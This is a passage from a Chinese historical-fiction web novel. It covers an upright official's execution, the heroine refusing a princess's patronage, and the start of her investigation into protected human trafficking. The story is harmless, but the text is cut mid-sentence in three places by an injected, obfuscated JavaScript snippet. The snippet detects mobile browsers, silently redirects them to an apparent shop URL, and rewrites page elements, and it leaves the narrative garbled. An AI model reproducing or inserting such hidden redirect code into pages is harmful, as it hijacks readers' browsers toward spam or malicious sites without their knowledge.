蒋赢就是那店小二的名字,曲霜姿一时找不到人,就派人给他传话,“告诉他,我先进城查探情况,你们要注意安全。” 她挤出人群就要入城,城门看守立刻要拦,余千帆摇着扇子挤眉弄眼,“这是小爷的人,你们还要拦?” 曲霜姿不乐意地瞥了他一眼,小声骂了句:“真给自己脸上贴金。” 林寻雁将曲霜姿拉到角落,她表情沉重,“刚刚得来的消息,今日午后就要游街示众,然后在城外行刑,以威慑不知轻重的百姓。” 不知轻重…… 好一个不知轻重。 37. 世外之桃源 曲霜姿焦灼地等到了午后,二皇子和沈无逆亲自押送钱世忠。 少女不敢再轻举妄动,她和沈无逆对视,看出男人眼里的警告,她紧紧攥住拳头。 街道两旁围满了看热闹的百姓,他们不明就里地议论着,用各种不知来处的谣言压在钱世忠身上,可惜他一生为民,最后临死之际却要被民众唾骂。 曲霜姿一咬牙,她多想站出来说明真相,想要还钱世忠一个公道。林寻雁站在她身后,轻轻拉了拉她,示意她不要轻举妄动。 钱世忠也看见了满脸愤懑的曲霜姿以及已经哭成泪人儿的乐知,他挤出一个惨淡的笑容,仰天高呼:“我此生不悔!” “活着时对不起自己的妻子儿女,死后,终于能去赎罪了。” 曲霜姿一路跟到了行刑场,她命邬州随她而来的百姓都不要试图反抗,圣旨已下,再有异议就是抗旨,她不想让这么多跟着自己寻求一线希望的百姓蒙难,钱世忠也必然不想看到那样的局面。 沈无逆也撑不住自己惯常的笑颜了,他只能提前打点好押送及行刑的人,莫要苛待钱世忠。 钱世忠看出围观的百姓有不少眼熟的,眼底突然有光亮了亮,他老眼含泪,很快就想明白了这是怎么回事。他在茫茫人群中寻到了曲霜姿,遥遥地给女孩儿鞠了一躬。 感谢她让自己在生命的最后,还能看见曾经朝夕相处的百姓们。 “还钱大人清白!” “千古奇冤!” 嘈杂的议论声中,邬州来的百姓们不甘地哭喊着,人群中有按耐不住要冲上去的,被侍卫拦了下来抹了脖子以儆效尤。 钱世忠努力让自己直视前方,他不敢再看邬州的百姓,他不敢承认,自己仍是不愿意就此赴死的。 百姓仍苦,仍处于水深火热当中,他岂敢一死了之? 他看着身居高位的温孤嘉宸,男人面无表情,有些意兴阑珊的意思。没等监斩官下令,钱世忠已然干脆跪下,“臣将死之人一无所求,只有一句话希望大人转告于陛下。” 监斩官茫然看向二皇子,二皇子抬了抬下巴,他才敢示意钱世忠往下说。 周遭安静下来,所有人都好奇将死之人的遗言。 钱世忠重重磕了个头,鲜血如注顺着他的脸往下流,他到了知天命的年岁,白花花的鬓角沾染上血迹,他脊背亦佝偻得厉害,显得老态龙钟。但他的话依旧掷地有声:“臣谢陛下知遇之恩,让臣有幸为国效力、为民造福。” “但涉及国之未来,臣虽位卑但仍一心牵挂,未敢忘忧。” 说着,又是重重地磕下,似乎是在提前为自己的话谢罪,“奸佞当道,如若继续纵容诸皇子狼子野心、结党营私,继续无视百官狼狈为奸、残害百姓,国将不国,民将焉附!?” 最后八个字,他一字一句,他用他沧桑的嗓子拼命怒吼,一时之间轰动全场。曲霜姿第一个反应过来,在人群中跟着喊了一句,这一声彻底点燃了邬州百姓的怒火,都跟着呐喊起来。 世道浇漓,人心日下,国将不国,国之不存,民将焉附…… 二皇子咬牙切齿,再不愿耽搁半刻,当即下令斩杀钱世忠。 “殿下,吉时未到啊。” 高位上的男人面色铁青、眼神凌厉,身上散发出骇人的杀气,吓得监斩官汗毛直立,哆嗦了一下忙下令斩杀。 刻不容缓,手起刀落。 时间似乎凝滞了一瞬,一切都失去了声音,曲霜姿拉着崩溃的乐知往外撤,邬州百姓全然震怒,又有几人扑上去被杀,他们再无能为力,只得齐齐跪伏在地,为钱世忠默哀。 钱世忠,一世忠良,不枉此生、不虚此名。 曲霜姿赌输了。 她赌错了圣心,赌错了世道。 一败涂地。 安抚好乐知,曲霜姿就静静坐在窗边发呆。 余千帆鲜少见她这样安静,他慌了神,只能自顾自地说话开解她,“霜姿,这不是你的错,那些百姓也已经启程回乡,圣上不会怪罪他们。” “毕竟是那么多的人命。” “那么多的人命,”曲霜姿没看他,冷笑轻嗤,“谁的命不是命。” 余千帆噎了一下,懊丧地垂头,“钱大人的尸骨也被带回邬州了。” “嗯,也算落叶归根。” 盛京不待见钱世忠,邬州的百姓就带他回家。 “霜姿,”余千帆又想起了什么,小心开口:“外边有人要见你。” 曲霜姿懒得思考,心不在焉地淡淡问:“何人?” “沈、沈无逆。” 曲霜姿一顿,睫毛落下,她长长吐出一口气。 “你要是不想见他,我立刻赶他走,你以后也别去大理寺了,就待在我们余家。” “见吧。” “啊?”余千帆反应过来,心中莫名愤愤不平,他气得恹恹道:“哦。” 他跑了出去,曲霜姿看着窗外一棵老树被风吹得直落叶,心头一颤,这才意识到秋天彻底来了。 门开了,有男人的脚步声传来。 曲霜姿知道是沈无逆,连头都懒得抬。 男人在她面前站了许久,才终于开口,声音也有些不同寻常,听起来闷闷的:“钱大人有话让我转告给你。” 曲霜姿这才没忍住看向他,她着急地问,以至于声音都破了音,“什么?” “他让你,照顾好乐知。” “他还说,你们仅仅几面之缘,你却愿意这样帮他,他感激不尽,但是这世道向来如此,你还是不要以身试险为好。” “你把我在邬州做的事告诉了他。”曲霜姿轻声问,但其实她心底已经有了答案。 “对,他感谢你。” 曲霜姿冷笑一声,一行清泪滑落,“你觉得,我做这一切就是为了一句谢谢?” 她曾经确实是这么认为的,她喜欢听那些给自己帮助的人向自己道谢,她会从中获得成就感,会自豪、会欢欣。 可是现在,她想,要是天下再无冤情、再无苦难,哪怕她从此籍籍无名又如何? 她所求,不过是一个盛世。 一个没有不公、没有冤屈、没有苦难的世界。 “沈无逆,你睁开眼睛看看,你觉得大安现在像是什么?乌烟瘴气,城内歌舞升平,城外就有饿殍遍野,对,你该高兴。”曲霜姿盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711895|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着男人的眼睛,“你非我大安人士。” “我不高兴。”他咬牙回答,“都是人,看着高低贵贱、三六九等,可都是人,我又怎么能忍心看这满目疮痍、生灵涂炭。” 曲霜姿自知失言,继续默不作声。 沈无逆亦是沉默良久,才又缓缓开口。 “还有,他说他最放心不下的,是盛京城里略卖人口之事,”沈无逆思量片刻,还是讲出自己的疑惑,“盛京居然还有略卖人口?” 他话语间尽是不可置信。 “不仅有,还有大官罩着呢,你们大理寺少卿算一个。”曲霜姿强撑着戏谑的语气阴阳怪气。 沈无逆无奈,知道她此时心中酸楚,便也不和她吵架,“你要查吗?” 曲霜姿怔了怔,喃喃道:“查。” 她一抹脸上残留的眼泪,起身就要走出客栈,“必须查!” 她不是在回答沈无逆的问题,而是在告诉自己,告诉天下人,既然活着的人还在,那这正义就不会没有人去伸张。 一个人死了,还会有千千万万活着的人。 哪怕有一天曲霜姿也失去了生命,那也还会有数以万计的人赓续下去。 曲霜姿前脚踏出客栈,后脚就有人找上她,来人装扮不凡同时又干练简单,看得出该是那位贵人的亲信。 曲霜姿挑眉,“请问您是?” “公主请您前往府上一叙。”侍卫拱了拱手,还算有几分恭敬。 “一定要去吗?” “公主说了,全凭您自己的心情,不过她说您是聪明人,该懂得她为什么找您。” 曲霜姿无奈叹了口气,找自己还能是为了什么,无非是为了钱世忠一案,原本公主派去要动手的人却销声匿迹了,一定是他们得知沈无逆官衙遇刺一案,不想将事情闹大。 虽然是退了一步,但可见其手眼通天的厉害,曲霜姿骑马日夜不停尚且用了一天才赶到,而公主却能在瞬息之间知道邬州发生了什么,想必其势力必然异常庞大。 她跟着侍卫一路去了公主府,公主府依山傍水,纵使到了秋天,院内院外也依旧一幅生机勃勃、岁月静好的模样。 公主府有如世外之桃源,坐落在青山绿水间,曲霜姿踏着花香鸟语走了进去,不知绕了多少个弯子,又是经小山又是过小桥的,才终于见到了传闻中的本朝唯一公主。 曲霜姿找林寻雁深入了解过了,大皇子与大公主的生母是本朝皇后,大皇子也就罢了,这大公主从小就活在阖宫的宠爱之中,尤其是懂事后,独一无二的尊贵封号、繁华安定的封地,各种难得的稀世珍宝公主都司空见惯了。 曲霜姿刚入盛京时,尚且会羡慕,而如今只会透过这些黄金美玉看到民不聊生,看到悲绝的血与泪。 榻上的女人姿容如玉,一副恬淡模样,歪歪斜斜地躺着,眉间忧愁不散,眼神却绕着几波凌厉,为端庄美人添了几分艳气。 她看到曲霜姿来了,女人立刻屏退了身边伺候的两个男人。随后眯起眼睛打量了一下,神色忽而略变,似乎是有些讶异,温孤涵缓缓挪动身子,漫不经心地端坐了起来。 倒和温孤嘉宸莫名相像。 38. 一盏青霄雪 经过下人提醒,曲霜姿才想起要行礼,她难得恭顺,鞠躬拱手:“民女见过公主殿下,殿下千岁。” 原本该是跪拜大礼,这礼还不够,公主身边侍女不悦地看她,正要出言训斥,却被温孤涵拦下,“你就是曲霜姿?” 她声音如一池静水,平静柔和,乍一听是端庄温婉,但细听,犹带着少女未散的娇俏以及专属女人的柔媚。 “正是。” “荨州人士,父亲从商失踪、母亲遇害而亡,进入大理寺谋求仵作一职,想要为母报仇故而投奔二皇子,如今跟着沈无逆做事?” 虽有出入,但曲霜姿听得心一颤,愣了半晌才缓缓应是。 “这次你做的不错,”女人夸赞一句,但很快语气一转,“但你不喜二皇子行事,见不得他滥用权势、草菅人命,恐怕等他忙完这阵儿怕要亲自拿你是问了。” 曲霜姿敛眉,此话不错,二皇子终究被钱世忠一番话牵连,皇帝赏他了个禁足一月,否则温孤嘉宸必然是会找她算账的。 “不如改投我门下。”女人轻笑一声,饶有趣味地摆弄桌上的精致点心。 “殿下,公主怕是不得干政吧。” “怕什么?父皇母后宠爱我,况且我阿弟便是未来的太子甚至是皇帝,你投了我,不就是投了他?” “日后别说报仇,平步青云、荣华富贵也不在话下。” “那公主想要我做什么呢?”曲霜姿眼底无波,淡淡地开口问道,只是问得太开门见山又太漫不经心,叫温孤涵也愣了下。 “你知道你的仇人是谁吗?告诉我,我立刻把人绑来现在就为你复仇,千刀万剐、灰飞烟灭,随你心情。” 温孤涵以为是自己许诺的不够吸引人,也不急着谈条件,又添了一嘴诱惑曲霜姿。 曲霜姿挑眉。 哝,又是个滥用权势、草菅人命的主儿。当初甚至想要杀了邵辰送来的质子,可见也是个狠厉的角色,和她嘴中的“坏人”二皇子又有什么缺点。 倘若此人真是贤善,曲霜姿倒还真有几分想要助她夺权改变世界,提高女子地位的打算。 可惜了。 “谢殿下,民女不知仇人是谁,但不论是谁,民女也会凭借自己的力量为母亲报仇。”她不卑不亢,语气坚定,“民女此次所为也不是为了任何人,只是为了对得起自己的良心,并不想搅入皇权之争,扰了各位千金贵体的雅兴。” 温孤涵头疼地看着她,倚着榻边,不自觉伸出纤细的手指一下下轻触额角。 她本不愿逼迫曲霜姿,想着人要是不来也就罢了,日后要是有什么麻烦直接除掉便是,偏偏人来了,却还敢在她面前大放厥词,拒绝她的邀请。 她攥紧眉头,看曲霜姿一言一行也不像有假,心道这姑娘也太实心肠了,正得未免有些傻气,她莫名怀疑——这样的人真的有办法号召一州百姓赴往盛京申冤吗? 还有上一次王家的事情,也相当于曲霜姿一力推动。 简直,不可思议。 这样的人,收入麾下稍加培养,定是不可或缺的人才。 而虽曲霜姿口中义正言辞,但皇权之争,一旦踏入,又岂能轻易脱身。 温孤涵嘴角噙着抹笑,轻轻摆了摆手,“罢了,你好好想想吧,我也不为难你个小姑娘。” 曲霜姿再次鞠躬拜谢,跟着公主的亲卫原路返回,她终于松了口气,这公主府看着如人间仙境,但却给曲霜姿一种鬼气森森的感觉。 经此一遭,她才发觉,有时候和你面对面讲话的人,也许并算不上是个“人”。 她暗叹一声,加快脚步往集市去。 而曲霜姿一走,温孤涵便重新召来了男宠,又吩咐侍女道,“让林寻雁来一趟吧。” …… 盛京街上依旧门庭若市、热闹非凡,先前钱世忠的事儿就像是一道影子,忽得就晃了过去,无足轻重,出现再消逝,无人在意。 曲霜姿一时没寻到那卖奴隶的人牙子,疑惑地向旁边卖烧饼的大爷搭话,“怎么不见那卖奴隶的了?” “卖完了吧,或者是有事,”大爷随口应着,看她容貌清秀,气质不凡,便递了张饼给她,“买饼吗?” 曲霜姿看着手上突然多出来的烧饼,无可奈何地掏出银两来付钱。 她在一旁守了半日,还没见人牙子出现,天色也不早了,这才死心打算回客栈。曲霜姿想到乐知,心中就一阵难受,傻姑娘醒了哭睡着了还落眼泪,这两天饭都没吃几口。 曲霜姿掂量掂量瘪了不少的钱袋,还是狠心给乐知买了些喜欢的吃食。大理寺的月俸不多,余叔叔之前定下的客栈也早就到期,幸而她们认识了余千帆,但是这样白白住下去,曲霜姿心里也不是滋味。 如今也逐渐捉襟见肘起来,以后的日子又如同刚入京那段时日,茫然不知所措,看不见前路,也找不到归途。 但还好,她遇到了些不错的朋友,也算是慰藉。 曲霜姿前脚回到客栈,林寻雁后脚就来寻她了。 “贵客啊,”曲霜姿没想到林寻雁回来,笑嘻嘻道:“恕我招待不周啊。” 女人一脸严肃,也依旧对钱大人的事耿耿于怀,心中堵得发慌,“曲姑娘,你那日见我的书我看了,有些不懂之处,可能为我讲解一二?” 曲霜姿自然乐意,她凑到林寻雁身边,“好啊,哪里不懂?” “我看书中提到‘五绝’,五绝是难产、魅魇、上吊、塌压、溺水,但我不懂何为‘魅魇’?” “可以理解为中邪,为某事某物所魅惑而入魇”。 “耳膜、指纹又是何物?” “蓝瘦香菇又是何物?” 一股脑的问题从她口中吐出,曲霜姿都不疾不徐解了她的疑惑,顺手在杯中添上刚沏好的茶。 然而等她听到“蓝瘦香菇”这个词时,瞬间绷不住了,这都是她阿娘造出的词,她小时候背书背得生不如死,就在书中如此批注,没想到居然还有被人看见的一天。 曲霜姿哭笑不得,“这不重要,大概是小时候乱写的,为难受想哭之意。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711896|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说了这么久了,应该渴了吧。”她顺势将茶盏推上前去,“余千帆送来的,我不懂茶,但蛮好喝的,也不知道合不合林小姐的口味?” 林寻雁这才忍住发问的欲望,抬手品了口茶。 这茶还没入口,冷而清的淡香就萦绕在了她的鼻间,只是一小口,茶水顺着嗓子进入到身体里,一阵清冽舒爽,沁人心脾。 “好茶,”林寻雁眼睛一亮,随即有些不理解地盯着始终的茶,这茶可是极好的,外邦进贡品,宫里都没有多少,余千帆居然就送给了曲霜姿? “林小姐知道这茶?” “青霄雪。” “青霜雪……”曲霜姿顿了顿,细细品味一番,回味良久才夸赞道:“茶如其名,极妙啊。可是取自霜雪仙子青女吴洁的典故?” 青女,天神,青霄玉女,主霜雪也。 林寻雁点了点头,“青霄神女为人间施霜雪、除邪气、治瘟疫,拯救苍生,令人敬仰。” 她说着,思绪突然落到“霜雪”二字上,她抬眼看了眼曲霜姿,眼睛倏地睁圆。 难不成,余千帆竟是心悦于曲霜姿!? 曲霜姿性格纯真直率,有心机有野心,但从来都坦坦荡荡,不加掩饰。再者她姿容清丽,乌眸澄亮、眼尾上挑,似山间俏皮鹿,更似深林狡黠狐,决绝之色挂在脸上时,又多出一份森林之王的狠厉与威压来。 并不像她这个年纪的少女该有的,但她身上总有各种奇特惹人惊喜。 整个盛京都难得有这样的女子,余千帆喜欢她也并不意外。 曲霜姿摇摇头,丝毫没意识到这茶水和自己有什么关系,反而对着传说执拗道:“世人知青女,其实更多是认为神女姿容卓越、悲天悯人。” “要我说,这个故事最打动人心的,是武罗和吴洁两位神女一同守护青要山的情谊。” 林寻雁没想过这一点,思索后认可道,“确实如此。” “要我说,世上有没有神明还未可知,但若是女子之间互相帮助,不拘泥于宅院之中,尽情实现自己的人生梦想,那才是实在的。” 曲霜姿弯着眉眼看向林寻雁,紧接着又说:“我现在说这话太过苍白无力,林姑娘只当我现在在说玩笑便是了。” 林寻雁深深看着她,轻抿了口茶水,低头喃喃道:“我也希望如你所言。” 曲霜姿没听清楚,“啊?” “我今日其实还有更重要的事情想要问你,”林寻雁叹了口气,语气更加严肃起来,“你真的不回大理寺了吗?” “我和沈无逆要走的路不同,自然不能再做他的小吏了。”曲霜姿无奈地撑着脸,内心五味杂陈。 “那你不想查案了吗?”林寻雁似乎很是替她着急。 “查,只是方式不同罢了,在大理寺我也不能尽情查案啊。”曲霜姿叹气。 林寻雁斟酌片刻,还是开口:“你若愿来我手下留情,我许你尽情查案。” 见曲霜姿呆住没有回答,她又格外心虚地补充一句:“我们……不是朋友吗?” 39. 鱼龙混杂地 曲霜姿答应了林寻雁,林寻雁开的月俸是沈无逆的两倍多,大理寺还是维持着表面上的清闲,便照例由乐知顶替她去干杂役,而她就一直守在集市处。 她渐渐琢磨出了这群人牙子的异样,许是因为之前邬州百姓游行一事,盛京城门处的看守更加严密,人牙子再不能大批地从城外运来奴隶,自然就做不成生意了,只偶尔上街来做买卖。 曲霜姿几次偷偷跟着人牙子,想要凭此寻到他们的窝藏之地,或是想要寻找大理寺少卿贺卫与他们勾结的证据,每每却都以失败告终,甚至有一次险些被发现。 除此之外,曲霜姿还发现一桩怪事。 这大街上的闲散之人多是男子,少有的几个闲散女子也都是大户人家的小姐,由丫鬟跟着,并不往这鱼龙混杂之地来。 而且只要是曲霜姿找人打听消息,那些人总不坏好意地瞧她,要么就是像那日的老伯一样强买强卖,总之就是看她是个女子便刻意为难。 于是纵使她心有不服,也只能换身男装以混淆视听。 万幸的是,她日复一日的蹲守终归是有结果的。 曲霜姿刚把蹲守地点换到自己经常跟丢的地方,她正戴着草帽,佯装闲散地晃着脚,不时呷口茶来,看着与普通百姓无异。而实际上,她一直暗中观察着周围,任何风吹草动都躲不掉她的眼睛。 而人群突然爆发出一阵凄惨的哭喊声,“救命啊!救命啊!” 是几个衣着褴褛、瘦弱不堪的女子,女子们都磕磕绊绊地跑着,一边跑一边惊恐地朝后看,眼神中的害怕快要溢出来。 曲霜姿定睛一看,这正是那些个人牙子手里的几个女奴,甚至还有个一瘸一拐的男子,也是奴隶堆里的。 路人不知这是怎么回事,想把人拦下问,可后有人牙子紧追不舍,他们又岂敢停下。 曲霜姿正要出手相助,几个彪悍的壮汉已经追赶了上来,人群中又是一声尖锐的哭喊,曲霜姿迅速回头,却看见那人牙子手中抓着的正是江桃! 江桃怎么会和人牙子扯上关系? 饶是她满腹疑问,也再由不得她思虑过多,曲霜姿抄起剑就飞身上去,她用剑用得不如匕首巧,与男人缠斗一番才救下江桃。 人群都因此变故惶恐不安、惊叫连连,其他几个出逃的奴隶已经被其余人牙子抓住,大汉也不想与曲霜姿纠缠下去,忙混入人群跑了。 曲霜姿提剑要追,江桃却因为腿软猛得栽了下去,要不是曲霜姿及时扶住,恐怕就要摔个狗啃泥了。 再回头,人牙子已经无影无踪了,少女皱着眉,气得说不出话来。 江桃还没认出曲霜姿,曲霜姿没办法,只得把她扶到一旁僻静处,她怕江桃会因不喜自己而拒绝回答问题,索性就压低声音装是男声,“那群追你的人是谁?” 她本来面容就偏英气秀丽,年纪也不大,伪装的白面少年也还算逼真,不至于叫人轻易识破。 江桃还一会儿才回过神来,娇娇弱弱地喘着气,眼眶红彤彤的,泪水将落未落。要不是实在不合时宜,否则曲霜姿真想好好欣赏欣赏这梨花带雨之景。 “我不知道,我只是去当铺当东西,遇到那群姑娘逃命,其中一个姑娘还有些衣不蔽体,眼看就要被抓到,我就连忙拦住却被那贼人盯上了。” “今日多谢公子了。”她福了福身,语气温温柔柔的。 曲霜姿敏锐地捕捉到了奇怪之处,“当东西?姑娘看着像是大家闺秀,怎么需要当东西呢?” 江桃嘴角浅笑凝固住了,她无意间摩挲着自己的手腕,曲霜姿看过去,如果她没记错的话,江桃腕上是有枚玉镯的。 虽不是什么难得之物,却是极美的,透亮澄净。 “姑娘可是遇上了什么困难?”曲霜姿问这话是有私心的,她希望余叔叔此时已经和女人一刀两断。 “姐妹俩相依为命,我又有什么办法呢?”江桃不答,只是兀自喃喃道:“那镯子是我母亲留给我的,我未来定是要把它赎回来的。” 曲霜姿怔愣住,内心感慨万千,她是真的感同身受了。若不是实在艰难,这世上又有谁会当掉母亲留给自己的东西呢?宝贝还来不及呢…… 她想着想着,又想起自己的匕首,心被狠狠揪得一痛。她在心里默默发誓,下次见到沈无逆一定要把她的匕首要回来了。 送走江桃,曲霜姿终于松了口气,她左思右想,今日出了这样的事情,想必那群人牙子也不会再把人带到集市上来卖了。 她蹲守一天腰酸背痛,一回客栈就瘫到了床上,昏昏沉沉地睡了过去。乐知回来后唤了她好几声,可无论如何都叫不醒她。 但总有人能让曲霜姿清醒过来,乐知慌慌张张地跑进来喊她:“霜姿,江桃来了!” 江桃?曲霜姿吓了一跳,自己应该没有把地址透露给江桃才是,所以女人不是来找救命恩人的,就是来找曲霜姿的。 可是江桃又能有什么事找她? 她疑惑不已,终是从床上坐了起来,江桃很快进来,神情中透露出鲜明的不耐烦,和上次见时感恩戴德的模样大相径庭。 “江姑娘找我有何事?”曲霜姿抱着臂靠在床上,懒懒地打了个哈欠。 江桃愠怒地瞪着她,半晌才从怀里掏出个钱袋来扔到桌上。 鼓鼓囊囊的一个钱袋,花纹和余肃叔叔上次给的相同,曲霜姿眼睛一亮,也没顾得上生气女人的无礼,“这是?” “余肃让我给你的,”江桃有些咬牙切齿,她倒贴进余家,余肃也从未对她这么大方过,否则她也无需典当手镯来养活自家妹妹了,她耐不住疑惑与不忿,开口咄咄质问道:“你到底是什么人?为何余肃对你这般不同?” 曲霜姿觉得自己没睡醒,脑袋懵懵的,但她又莫名感到好笑,“他让你来送钱,却没告诉你我是谁?” 江桃咬住唇,说不出的落寞。 难不成,余肃真的喜欢比自己小许多的?还是说,这是余肃偷偷养在外面的私生女。但余肃偏心于她已经是板上钉钉的事实,无论答案到底是什么,江桃都不会高兴。 她眼巴巴望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718443|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那袋银两,说不出的可怜与落寞,余家虽养着她,但她吃喝住行都有余家人包办,也不会给她什么钱。 曲霜姿叹了口气,伸手把钱袋推向江桃的方向,“你拿去吧,我不需要。”她不想再依靠任何人,也不想拖累余叔叔,更不想给自己营造出一个有爹爹疼爱的幻觉。 江桃不敢相信,“真的吗?” 看见曲霜姿无奈点头,她才真的小心地把钱袋捧到了怀里,女人低头小声道:“多谢。” “没什么好谢的,你既然现在住在余家,就尽心照顾好余肃吧。” 江桃态度和缓许多,沉默着福了福身就要离开,然而她转身之时,余光看到了奇怪的东西,她定睛一看——那人台上的挂着的居然是男装,而且还眼熟的不得了。 正是救自己那男子所穿的。 曲霜姿意识到被发现后,尴尬地挠了挠头,正要开口解释,女人却红着脸跑了出去。 乐知奇怪地走了进来,“这是怎么回事?” “霜姿你怎么不收钱啊?” 曲霜姿挑眉,“你偷听啊?” 乐知耸耸肩,吐了吐舌头,“我这不是怕她对你不利吗?不要也好,咱们就不欠谁的人情,以后我们两个相依为命,靠自己也能过得很好!” 话是这样说的没错,但她真的不欠余肃吗?这么多年的朝夕相伴、精心照顾,入京以来的事事关心与帮助,哪怕她和阿娘没有靠余叔叔养着,也终究是受了不少的帮扶才能吃喝不愁,这都是她还不起的恩情。 她咬牙,暗暗下定决心,大不了以后报完仇后离开大理寺,她像男子一样做生意赚大钱,日后再报答余肃叔叔。 连阿娘那一份一起还了。 “霜姿?”乐知唤她,曲霜姿挣出思绪,看对面的少女神情古怪,十分窘迫。 “怎么了?”曲霜姿纳闷,“有什么就说啊。” “我想问问,略卖人口的案子怎么样了?”乐知明白,这帮人走南闯北一路来到盛京都没有人能治得了他们,曲霜姿又刚刚经历了不小的打击,她怕曲霜姿辛苦,也无时无刻不再担忧着那群曾经也算是生死与共的伙伴。 所以她不知道该不该问。 曲霜姿的神情肉眼可见地凝重起来,她最近太累,这睡了一觉都险些忘记了这档子事。 “乐知,明天你在客栈休息,我去大理寺。” 乐知眨眨眼,有些奇怪,又暗暗期待道:“可是案子有了什么进展?” 曲霜姿语气温柔,好像透过乐知看到了从前的自己,“很快就会有的,但我得先找人帮忙。” 她这几天声称查案,也有想要避开沈无逆的缘故,且林寻雁只知她查得是略卖人口的案子,并不知此案性质有多严重,不知背后正是有他们大理寺的少卿助力着。 乐知用力点点头,“霜姿,这次查案子你一定要带上我,上次你去邬州可把我担心坏了。” 曲霜姿没忍住,笑着摸摸她的头。 “好。” 她想,阿娘,我真的有朋友了。 40. 醉意不在酒 曲霜姿一早到了大理寺,踏入门槛的时候竟意外觉得恍惚。 遥想她第一次来到大理寺门口,那种万念俱灰的痛苦,还有后几次来参加选拔时用人生作赌的孤注一掷,以及希望一次次幻灭的悲绝…… 以至于她后来真的被沈无逆带了进来,那种昕悦是多么的真切,如今回忆起来却恍若隔世。 在大理寺的这些日子,她没有查到关于刺杀母亲真凶的半点线索,反倒是看到了人间百态,看到了这大安盛世王朝下的暗潮涌动。 她突然平静得不得了,无悲亦无喜。她久违地回到这里,感慨油然而生——大理寺,当真是形同虚设。 或者更可怕的是,从这个王朝的最上层开始,腐朽已经渗入了骨子里。 曲霜姿甚至开始怀疑,自己是不是不该答应林寻雁重新回来。 但案子终归是要查的,曲霜姿见到林寻雁时,女人正聚精会神地翻阅着手中书籍,正是她阿娘所写的。 她心中多了丝慰藉,开门见山地讲述了大理寺少卿和那帮人牙子有所勾连,林寻雁的脸色肉眼可见的难看起来。 “当真,亲眼所见。”曲霜姿笃定道。 林寻雁喉头一哽,有些茫然地看向窗外。 曲霜姿提心吊胆,她怕林寻雁会让自己不要继续查下去,怕林寻雁和沈无逆一般无二。 林寻雁不是没见过那些可怜的奴隶,甚至林家还因为一时缺人从那处买过几个回来。她犹记得那些个又聋又哑的少年,胆子小的要死,稍有不慎就要磕头谢罪。还有两个小女奴,她们虽不聋不哑,但依旧终日里沉默寡言、怯弱得不敢多说一句话。 他们无一例外身体上都有许多伤疤,狰狞骇人。 她咬牙,“查。” “但是我不比沈寺正,没有实权,只是个没真本事的仵作,但你如若要查,”林寻雁顿了顿,“我可以亲自帮你,如果你需要,我在家里还有几个能使唤动的侍卫和丫鬟。” 曲霜姿很是感动,她点了点头,笑眯眯道:“寻雁,你真的和那些世族子弟很不一样。” 林寻雁被这个突如其来的亲昵称呼弄得羞赧,双颊染上红晕,却装作若无其事地偏过头去,只是淡淡道:“我也有一位不同寻常的阿娘。” 曲霜姿看着她不欲多言,却不由自主抱紧佩剑的模样,便也暗暗猜到了几分,只是又笑道:“那我们很有缘分。” 林寻雁愣愣,不好意思地咳了几声,最后还是轻轻应了一句。 “嗯。” 曲霜姿看着她这幅模样,觉得有意思极了,但也没有再打趣的心思,她很快直奔主题压低了声音:“寻雁,今日贺卫可在大理寺?” “近来陛下说要肃清大理寺内萎靡风气,贺卫心中或许有所忌惮,所以几乎日日都在。” “近来那帮人牙子也遇到了困难,如果贺卫是他们背后唯一靠山,那他们则必定会求助于贺卫。” 林寻雁点了点头,“那他们总不可能找到大理寺来,去他家也不现实。” 她斟酌片刻,“那就只能约好一个地方碰面。” “对,”曲霜姿眼里闪着狡黠的光,“还有一种可能,他们藏匿的地方也很是隐蔽,贺卫也有可能直接去那里与其商议。” “这岂不是自降身份?”林寻雁惊道。 “为了利益,还在乎什么身份不身份的,”曲霜姿叹了口气,“必是得了天大的好处,才有胆量在皇帝眼皮子底下如此行事。” 林寻雁哑口无言,半晌才道:“我派人看着他。” 二人相视一眼,都心知肚明要看住贺卫有多么难,但多难也得试试,贺卫是她们了解这帮人最大的突破口。 “贺卫和他们必然有合约,这合约应该就在他家中,我偷偷潜入,寻雁你尽量拖住他,不要让他回家。”曲霜姿面色凝重地叮嘱。 林寻雁惊得瞪大眼睛,“你怎么敢?” 曲霜姿当真是胆大包天,整个盛京的规矩都压不住她。看住贺卫尚且困难,更别提潜入一个大官的府邸找一份秘密合约了。 “不试试怎么知道?”曲霜姿心中也没底,但还是装作胸有成竹的模样急急离开了。 林寻雁望着她的背影焦急,连忙到贺卫办公的地方去瞧,贺卫近日来虽屈尊降贵亲自来大理寺办公,但是也难免迟到早退。 她索性捧了曲霜姿借给她的书靠在大理寺大门前看,可醉翁之意不在酒,她不住地吞咽口水,紧张得一个字都看不进去。 